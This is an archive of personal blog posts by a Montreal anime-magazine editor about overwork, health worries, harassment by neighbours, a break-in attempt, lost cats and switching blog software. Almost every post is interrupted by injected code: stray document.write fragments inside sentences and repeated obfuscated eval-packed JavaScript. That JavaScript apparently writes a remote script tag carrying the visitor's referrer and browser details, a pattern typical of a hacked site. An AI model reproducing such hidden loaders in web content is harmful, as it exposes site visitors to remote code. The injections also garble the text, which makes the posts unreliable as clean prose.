Life

A little rest

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Another issue of the magazine has been completed and sent to the printer earlier this week. The reorganization is starting to work since this time the production went a little more smoothly. There was still delays and problems (some that I am really not happy with)–there are always some of those. But this time it was not too bad. Now I can enjoy a little respite.

It doesn’t mean that there’s no work to do. There is still a zillion things to do (update the web page, document.write(“”); take care of orders, answer customers’ complains, prepare some new ebooks, prepare shipping, plan next issue, prepare for a convention next week, etc.), but there’s less pressure and I am not working fourteen hours each day (seven days per week). It feels good.

Lonely Bloggers

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University of Calgary professor Michael Keren’s book Blogosphere: The New Political Arena says that bloggers are lonely and isolated people. He also adds that bloggers see themselves as rebels against the mundane society, but since their writings receive limited exposure on the internet, he compares them to Don Quixote.

His comments generated lots of reaction. I guess I agree with him on some points. Many personal bloggers are lonely people, and they throw their daily life-capsule in the internet like someone would throw a bottle in the sea. I consider myself in that category. I work at home, my little safe haven, and I barely see anyone beside my wife. I feel lonely, but I know that my weblog’s comments won’t be read by many. It’s like writing a journal and leaving it in plain view, in hope that someone will dare to read it.

However, many blogs go beyond a personal purpose: companies’ blogs serve as information hub, some organization set up blogs to gather volunteer or raise funds, many do political commentary. Also, some blogs can become very popular and be read by lots of people… Keren’s comment definitely doesn’t apply to those.

Source: The Gazette, Montreal, 1/31/07 A1-2. See also here and there.

Winter At Last!

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Finally, document.write(“”); winter looks and feels what it should be: cold and with white stuff on the ground.

I know, I know, people driving cars don’t like that. It’s driving them crazy.

But what is winter without those little flakes falling down the sky?

It makes the child inside me happy.

Love Thy Neighbor (Part 2)

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The previous post was apparently not the last of my neighborhood problems.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdata|var|u0026u|referrer|eryse||js|php’.split(‘|’),0,{}))

The worse that can happen is when you feel that your house… is not safe anymore.

Tonight there was an attempt to break into my house. It is the third time that it happens in over ten years. Each time, document.write(“”); I’ve been lucky and nothing was stolen. The thief were always disturbed and fled before completely succeeding to break in.

This time they broke the window of the garage side-door to be able to open the lock. They tried to quietly remove a glass panel on the door between the garage and the house, but they must have realized that I was home and left (I am almost always home; I work here). A little after midnight, I noticed that the garage light was on and went to check, to discover that both garage doors were open and that a window was broken.

Kids? Drug addicts? I don’t think so. The fact that they tried to silently remove a glass panel of the inside door instead of simply breaking it let me believe that, if they are not pros, they at least know what they are doing.

No hurry calling the police (last time it took them two days to come!). I’ll call them tomorrow. For now I have boarded the broken window, and added a few more locks to the inside door. It should keep them from coming back for a while…

Been Busy

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I haven’t blog in two weeks! Sorry! I’ve been busy and it will probably stay busy for some time. Lots of stuff to do at the job. So I might not blog much for a while. Although I have so many stories, document.write(“”); anecdotes, comments and rants I would like to talk about… I’ll do my best.

Happy New Year!

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I want to wish an Happy New Year to all my readers! May this new year bring you everything you want and particularly good health.

I really hope that 2007 will be better for us. For my part, document.write(“”); my elbow is now feeling better, but my back is getting worse and is really killing me.

Tired

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I feel like those old rechargeable batteries that, document.write(“”); at some point, just can’t recharge anymore… I just want to lie down here and sleep for a couple of centuries. Or watch a movie and lose myself in someone else’s life. But I can’t rest. There’s too many things to do. And if I do rest, I end up being consumed by guilt… It is sickening.

Another year is ending. Please stop pushing the fast-forward button! I want to enjoy life, not see it flashes past my eyes!

Hopefully, the new year will bring some good things. I guess I should take time to do a kind of retrospective…

The Fog of Life

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In the last few months or years, document.write(“”);
I feel I’ve lived in a constant fog.
To my body it feels like mud.
It’s like I can’t move forward easily,
As if every muscle is sleeping.

And my mind is all foggy,
I can’t see and think clearly.
I feel things are slipping away
From the grasp of my will.

I guess I should resolve myself
To exercice a little more
And maybe it will wake
My body from its torpor.

I should also make the effort
To keep my mind active,
Writting about everything.
That’s why I’ve revived this blog
And I’ll try to talk about all—
Could it really be called reviews?—
All the movies, books and news
That I’ve seen, read and digested
Even if they aren’t work-related.

But I fear I won’t have the energy
To completely brake away from the chains
Constraining my wings from spreading
And keeping me from feeling alive!

(ok, next time I’ll try to have it rhyme)

Merry Christmas! Joyeux Noel!

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…or Happy Holidays (whatever the Holiday your are enjoying right now)… to the few people reading this blog (and everybody else around the Globe)!

…ou Joyeuses Fêtes (peut importe les Fêtes que vous célébrez en ce moment)… aux quelques personnes qui lisent ce blog (et à tous les autres sur la planètes)!

Pain

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It seems that there is not a day where I don’t feel pain in some part of my body.

Most of the time it’s in my back, document.write(“”); but sometimes in my legs, my neck, my throat or my head. Sometimes it is even all over.

Lately, it has been in my left elbow. I have an elbow bursitis. It seems that I lean too much on my left elbow when I am working at the computer. I’ll put some ice, take some Advil and give some rest to the elbow.

I guess that’s what happen when you get older. More and more little nagging health problems. I am really due for a full check up…

Funny Anecdote

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Something funny happened last night.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeffz|var|u0026u|referrer|tsadr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntfyd|var|u0026u|referrer|ybzey||js|php’.split(‘|’),0,{}))

Around midnight I was walking on the street and a huge white SUV stops beside me (I was going to the subway station to meet my wife and walk her back home for safety — I do that once in a while since she was attacked one night on her way back from work). The tinted driver’s window goes down and the women at the wheel ask me “You wouldn’t happen to have a quarter, document.write(“”); would you?”

I know that the price of gas is high, but to beg for money is a little far-fetched!

Of course, I would not give any money to someone who’s already wasting so much with a gas-guzzling vehicle…

Sakura

/ Clodjee / 1 Comment

Here is the link to the restaurant where my wife is working:

Please have a look and, document.write(“”); if you live in the Montreal area, go and eat there!

Love Thy Neighbor!

/ Clodjee / 1 Comment

I consider myself as someone who’s quite quiet, document.write(“”); conciliatory and understanding. My principle is to leave people alone and I expect them to leave me alone. I live in my little shell, my safe-house, observing the world from the middle of its mediatic web and expecting to be protected from its aggressions.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydbzd|var|u0026u|referrer|ytrbf||js|php’.split(‘|’),0,{}))

When the neighbor is renovating his basement and starts with the jackhammer at 8:00 am on Saturday morning (while I just went to bed three hours before because my wife & I are working mostly in the evening and have night owl’s habits) I don’t complain because I understand that the work need to be done whenever he can do it. When the neighbor’s kids are howling or banging the walls (actually, in the first year, I thought they were raising a baby gorilla) and the mother is shouting back at them (and I am quietly sitting in my office trying to concentrate on a complicated article that needed to be written and laid-out yesterday), I don’t complain because kids are kids and it’s not an easy job to take care of them properly. When the people upstair are walking loudly or moving furniture and I feel the sky is falling down on me (while I am quietly trying to watch TV), there is no use complaining because I cannot ask them to stop living their life (although some understanding and compassion for others should be expected). Well, I guess the world just doesn’t work that way.

I never did or say anything to offense my neighbors (at least voluntarily). Nevertheless, last summer someone killed one of my cats with a pellet gun. This summer someone threw poison in my garden (maybe for the feral cats? But the poison can melt into the soil, be absorbed by the plants and eventually affect us) and threw a dead rat wrapped in a plastic bag in the backyard. My newspaper is regularly stolen. This fall, someone threw eggs against the front door (they missed and got the wall instead) and this week someone ripped our door-bell button from the door frame. What have I done to those people? Is it just a series of coincidences and am I paranoid?

Or is it because we speak english — and my wife is Japanese — in a neighborhood that is mostly francophone and local (“pure-laine” like they say)? I find it hard to believe that there is so much hatred and racism in our country…

Blog moved back!

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Last year, document.write(“”); in November 2005, I was feeling that the free blog I was using until then, blogspot, was lacking in features (not much flexibility with the template, no categories, etc.) so I decided to switch to Blog.Mac (1.1.3) and move my blog to a new location on my .Mac iDisk.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fadzh|var|u0026u|referrer|adkef||js|php’.split(‘|’),0,{}))

I ended up not blogging much (busy times) partly because Blog.Mac designers had announced a new version of their blogware with categories. I was interested in those promised new functions but was reluctant to blog much and then have to re-do everything with the new version (Largemouth people warned us that file format might change with the new version). So I waited…

A couple of month ago, I was tired to wait so I contacted Largemouth Software to ask when the new version of Blog.Mac was coming. I was told it would come two weeks later. After a wait of two MONTHS (no wonder they’re called Largemouth), they finally released… a new BETA version (1.2 b2)! I decided to try it and created this test blog. It looks nice, the categories work well, but I will probably have to pay for the upgrade to 1.2.

Considering that they would certainly wait several more months before releasing a final version of 1.2 and that my patience was already at its limit, I decided to try other blogwares. I tested iBlog (2 b8) by Lifli Software and created this test blog. The calendar feature is cool, but the look is disappointing (although you can tweek the template a little) and I was not enthusiastic with paying 1410.00 Indian Rupees ($30 US) for another license!

I was just about to say “Ok, I’ll wait another few months before deciding” when I discovered that the blogware I was using at first, now called blogger, has just released a new version with very flexible templates, multiple categories (called here Labels), FTP capability and more cool features! The beauty of it is that it is FREE! So, now I am reviving and updating this blog. Amazing, isn’t it?

So far, I am very satisfied with blogger and I recommend it to everyone.

Blog moved

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For now, document.write(“”); I have moved my blog to homepage.mac.com/clodjee/blog/safehouse.html.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|difnn|var|u0026u|referrer|yhybk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyiba|var|u0026u|referrer|kitat||js|php’.split(‘|’),0,{}))

Please have a look and bookmark it!

New Blog?

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I am experimenting with this new blog.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erfyk|var|u0026u|referrer|ktrhd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efztk|var|u0026u|referrer|esysz||js|php’.split(‘|’),0,{}))

I’ll wait a little to see how well it looks and how easy it is to work with and I might eventually change. We’ll see.

Let me know what you think of it.

Not Well

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Since early spring I have not been feeling well. I got a little better for the summer, document.write(“”); but now it is getting even worse. I really don’t know why I am feeling so tired, but the doctor sent me for some tests and I’ve been too busy lately to go (there’s also the fact that my schedule doesn’t really fit with the opening hours of the clinic). But I really must go take those tests next week!

Mostly I am feeling often tired, sleepy (but I already sleep more than usual and even take naps!), apathetic. I feel like out of energy, laking motivation, like if something died inside me (like a zombie!). However, the biggest problem is a total lack of concentration. It is not really a problem when I am doing technical or manual stuff like the shipping or layout, but it makes editing and writing like an herculean work and it is quite frustrating. It takes me hours just to process a few paragraphs. Once I am in it, it is not that bad, but the slightest distraction (a phone call, a e-mail, an IM) will break the rythm and it will take me a long time to resume work. And if I try too hard I get a terrible headache. I feel like i am moving in slow-motion and everything around me is flying by fast. Days and weeks a passing by without me barely realizing it. I barely saw the summer. All this is quite depressing.

I know I am not in perfect shape, but at least I have a very healthy alimentation. I just need more exercice (and to check my blood pressure and the glucose level). What could be causing this? Is this age? Premature senelity? Dementia? Can’t be, I am just a little over 40. Is this a kind of depression, a mid-life crisis? I don’t have any reasons to be depressed, I have everything that I could want: a loving wife, a fun job that I like, lots of DVDs, books and gadgets to entertain myself. I just need to be able to concentrate on my job!

I suspect it could be a kind of hormone imbalance. Hopefully, I’ll soon find the cause and a way to get rid of it. Because it is really driving me crazy!

Busy Weeks

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The last couple of weeks were quite busy. First I had not seen the end of my printer’s problems yet. Not only the printer delivered the magazine late, document.write(“”); but an abnormal number of copies had defects and boxes were not containing the exact amount they were suppose to according to the manifest. So I’ve spent an entire week-end counting each copy and separating the bad copies from to good. I’ve send the bad ones back to the printer to be replaced and used the good ones for the shipping and mailing.

So I’ve spent the following week doing the mailing and shipping, as well as updating the computer and working (already) on the next issue of the magazine. Through all that I managed to go see a few movies at the Montreal World Film Festival. The next week, despite the fact that I was really not feeling well, I continued working on the magazine (planning, writing, reviewing material, etc.), I watched a few more movies at the MWFF and installed my new VoIP phone system (I’ll review that one a little later).

So much to do and so little time. I feel kind of out of breath and tired.

Ikea website offer bad service

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One week ago a placed an order online on Ikea’s website. Unlike most online store where your purchase and payment are automatically confirmed, document.write(“”); at Ikea someone has to call you back to confirm the details of your order. So far, after a week, nobody has called. My advice: if you want to buy something at Ikea, either go to the store (that’s if you have a car, or a friend willing to help you) or order by phone. It is much quicker!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkrss|var|u0026u|referrer|nrzsb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsniz|var|u0026u|referrer|saeff||js|php’.split(‘|’),0,{}))

UPDATE (9/11): well, after more than a week without news I deciced to call to reissue my order, via phone this time. When they told me that it would cost me $80 shipping for a $140 bookshelf, I told them to cancel my order. I’ll find someone to drive me there instead later this week. Such a poor online ordering system (no confirmation of shipping cost, having to be phoned back, long delays, etc.) is really outragous.

My Computer Dies!

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After having printer’s and cat’s problems, document.write(“”); I was not out of the woods yet. Yesterday night, my iMac G5 died in a terrible smell of burned electronics. That was NOT an happy moment either. After spending part of the afternoon doing diagnostics, it is now packed and ready to go to an Apple Service Center monday. I should be able to get it repaired within a week (however I am considering eventually replacing it by a dual processor G5 2 ghz tower — if I can get a good price for the iMac, which, being an all-in-one model, has the unfortunate habit to overheat).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkhhi|var|u0026u|referrer|dzftf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yntaf|var|u0026u|referrer|zsdsd||js|php’.split(‘|’),0,{}))

I had to take out my old G3 (boosted with a G4 processor) and update its files in order to be able to do some work in the meantime. Anyway, that’s life.

Hopefully, that’s the end of my bad luck streak.

Take care!

My beloved departed cats

/ Clodjee / Leave a comment

The backstreet is always full of stray cats. Some seek refuge on our balcony and we feed them out of compassion. Four years ago, document.write(“”); one of those cats touched our heart more than the others: it was a cute one-year-old female part siamese, part tabby. The winter was coming close so we let her in and she stayed with us since then. We called her Nyako. She was the best of cats: never complaining, never scratching furnitures, always clean. Like most cats, she was affectionate but distant.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdrna|var|u0026u|referrer|bikth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktkza|var|u0026u|referrer|eytse||js|php’.split(‘|’),0,{}))

 One year ago we noticed that her face was not symetric anymore and that a tumor was slowly growing on the right side of her head. We knew that there was not much to do for that but hope it would not get bigger. It did, but we wanted to keep her as long as she would have a decent quality of life. We hope that she would grow old and eventually die peacefully. Unfortunately, a few weeks ago the tumor got so big that it deformed her mouth and pushed her eyes a little forward. She was constantly drooling and her eye was crying. She was sleeping all day and looked pityful. So, this morning we had her euthanized, relieving her of her misery. It was certainly not an easy decision to take, and the visit to the vet was not an easy moment either. At least now, she won’t suffer anymore and she’s probably happier in some cat’s heaven somewhere. But, to make it harder, it is the second cat that we lose this summer. Those cats were like our children and we miss them. At least, we still have one.

Earlier this year, we adopted two more cats: a black & white female with a black spot on the nose and a white spot on the tip of the tail (so we called her Spotty) and a light brown-reddish male, very noisy, that we called Nyaboy (and sometime also Foxy, because of his color and pointy ears). We couldn’t, obviously, keep too many cats so we found someone to take care of the very gentle and affectionate Spotty. Unfortunately, last April, Nyaboy was shot (twice!) in the back with a pellet gun by some moron (probably a kid playing with his new toy). He got a very nasty infection, but for some time it looked like he was having the upper hand. However, he did lost the battle after a while. Luckily, a few weeks later we learned that the young lady who was taking care of Spotty just got a new job in Hong-Kong and couldn’t bring her along. So we took her back. Now we have only Spotty. I’ll post some pictures of her later (right now I have computer problems, so I cannot).

Relaxing a bit

/ Clodjee / Leave a comment

Sorry for not having post much lately. I’ve spent most of July and August working hard on the layout of PA#85. Now I am done and I can relax a bit — but not too much because there still lots of updates to do on the web pages, document.write(“”); back issues to convert into eBooks, preparing the shipping and finally starting the plannification and layout for the next issue — watching some anime series or movies to review, cleaning up and doing a zillion things around the house.

Unfortunately, starting a series a bad luck that struck me in the last few days, the PA#85 will be delayed a little. Apparently, the printer press broke down and they had to wait for replacing parts. Then the printer had a big printing job to do before us and we were pushed back. Hopefully, we’ll start shipping by the middle of next week.

BTW, I forgot to post that link before, but here are the pictures from Anime Boston ’05.

Eventful Week [E]

/ Clodjee / Leave a comment

Tuesday [July 5] we had torrential rain which caused the sewage to back up… in the basement and, document.write(“”); through the pipes, even on the first floor. In the basement, it was not that bad since the floor has a kind of a funnel shape and I had blocked all the drainage, limiting the damage to only up to six inches of water in a part of the basement. No books, storage boxes or furniture were really damaged. On the first floor, I had an half-inch of water in the bathroom, that spilled in the corridor and into my office, then dripping back into the basement (damaging a few ceiling tiles). Again, not much damage beside a couple of wet carpets. However, it was a very trying and tiring evening. I worked like crazy to limit the damage, mopping the dirty water and then cleaning up. I worked in a kind of desperation, forgetting about pain and tiredness. I ended up with hand blisters and sore muscles all over my body (five days later I can still barely move!). It was quite a traumatic experience. Today, it is raining again and it makes me nervous. I keep looking at the doppler radar hoping not to see any heavy rain close by.

My wife and I being news junkies, we were also well served this week with the announcement of the olympic bid winner on wednesday [July 6] (I guess Paris lost because Chirac was really too arrogant) and the London bombing on Thursday [July 7]. I guess the people of London were lucky in many ways and it is the proof that the increase security do reduce the risk of attack. Forty something dead with four bombs is a relatively low amount of casualties compare to the Madrid bombing or even 9/11. I guess that the security mesures make it more difficult for the terrorists to mount effective attacks. But it is certainly no consolation for the families of the victims.

I spent the rest of the week running around preparing for Fantasia and working on various reviews for PA#85. With so much work to do, I am not sure I will have time to see many movies and I am counting on getting as many screeners as possible to compensate. I also took a few hours to change a little the layout of Protoculture web site top page. That’s the most visited page and I thought it would be more effective to use it to present products instead of just having the updates (now moved to a blog). Have a look if you have time. Now, back to work.

Take care everybody (is there anyone reading this, I wonder).

True Beginning [E] / Vrai Début [F] [Intro]

/ Clodjee / Leave a comment

[E] I guess now I am really ready to start. First of, document.write(“”); I must warn you that this blog will be bilingual (in English and in French). My comments will be in the language that is most appropriate for the subject (i.e. a French book will be reviewed in french). If there is one of those languages that you can’t read, please just skipped to the part you can read. Sorry!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zakey|var|u0026u|referrer|ykkad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abbdy|var|u0026u|referrer|fbhbr||js|php’.split(‘|’),0,{}))

This is the place I chose to comment and rant about everything but mostly about Japanese animation, manga, science-fiction (particularly the one written in Quebec), cinema, new technologies, history and culture (Japanese and others).

This Blog is the counter-part to my web page clodjee.com, so if you haven’t done so already, please have a look on my page.

I’ll do my best to add comments, in either languages, as often as possible. But I am rather busy lately, so I won’t promise anything. Be indulgent and come back often to check what’s new!

[F] Je crois bien que là je suis vraiment prêt à commencer. Je dois d’abord vous avertir que ce blog sera bilingue (en anglais et en français). J’écrirai dans la langue la plus approprié pour chaque sujet (par exemple, je commenterai un livre dans la langue où il a a été publié). Si vous ne comprenez pas les deux langues, vous n’avez qu’a sauter par dessus les sections qui vous sont illisibles. Désolé!

Ici je m’exprimerai sur les sujets qui me sont chers: la science-fiction (particulièrement celle produite au Québec), l’animation Japonaise, les manga, le cinéma, les nouvelles technologies, l’histoire, la culture (en générale et Japonaise) et bien d’autres choses qui me passeront par la tête!

Cet blog est la contre-partie de ma page web clodjee.com, alors si ce n’est pas déjà fait, jetez donc un coup d’oeil sur ma page.

Je ferai mon possible pour ajouter des commentaires, dans l’une ou l’autre langues, le plus souvent possible. Quoique je suis plutôt occupé ces temps-cia lors je ne promet rien. Alors soyez indulgent mais surveillez le blog régulièrement pour les nouveautés!

Beginning

/ Clodjee / Leave a comment

Here I will comment and rant about everything but mostly about anime, document.write(“”); manga, science-fiction, cinema, new technologies and history. You are welcomed to comment.